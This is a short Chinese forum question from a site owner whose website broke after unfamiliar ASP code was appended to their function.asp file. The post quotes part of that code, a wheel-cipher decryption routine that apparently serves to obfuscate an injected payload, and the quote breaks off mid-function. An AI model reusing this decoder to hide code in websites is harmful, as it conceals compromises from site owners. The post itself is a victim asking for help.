关于asp代码 不懂

前几天 在自己网站打不开  发现有个function.asp 文件 最下面多了一串代码

<%
Public Const sDefaultWHEEL1 = "vCL0dX,w4o=N n.1i/UB:l3DbyH(zRg+OueVS>t <fm-""spAExMTqkaYjP_hrWGcF92)"
Public Const sDefaultWHEEL2 = "j(P0+>1Live)wC=zgurfhbdoXGSDVyEx4-BOW.Yms3qpHkA_/ Fal,N9tnR:""U2 <cTM"

Function Decrypt_PRO(sINPUT , sPASSWORD )
Dim sWHEEL1, sWHEEL2
Dim k, i, c
Dim sRESULT
sWHEEL1 = sDefaultWHEEL1: sWHEEL2 = sDefaultWHEEL2
ScrambleWheels sWHEEL1, sWHEEL2, sPASSWORD
sRESULT = ""
For i = 1 To Len(sINPUT)
c = mid(sINPUT, i, 1)
k = InStr(1, sWHEEL2, c, vbBinaryCompare)
If k > 0 Then
sRESULT = sRESULT & mid(sWHEEL1, k, 1)
Else
sRESULT = sRESULT & Addpass(c,sPASSWORD)
End If
sWHEEL1 = LeftShift(sWHEEL1): sWHEEL2 = RightShift(sWHEEL2)
Next
Decrypt_PRO = sRESULT
End Function

Function LeftShift(s )
If Len(s) > 0 Then LeftShift = mid(s, 2, Len(s) - 1) & mid(s, 1, 1)
End Function

Function RightShift(s )
If Len(s) > 0 Then RightShift = mid(s, Len(s), 1) & mid(s, 1, Len(s) - 1)
End Function

Sub ScrambleWheels(ByRef sW1 , ByRef sW2 , sPASSWORD )
Dim i ,k
For i = 1 To Len(sPASSWORD)
For k = 1 To ascW(mid(sPASSWORD, i, 1))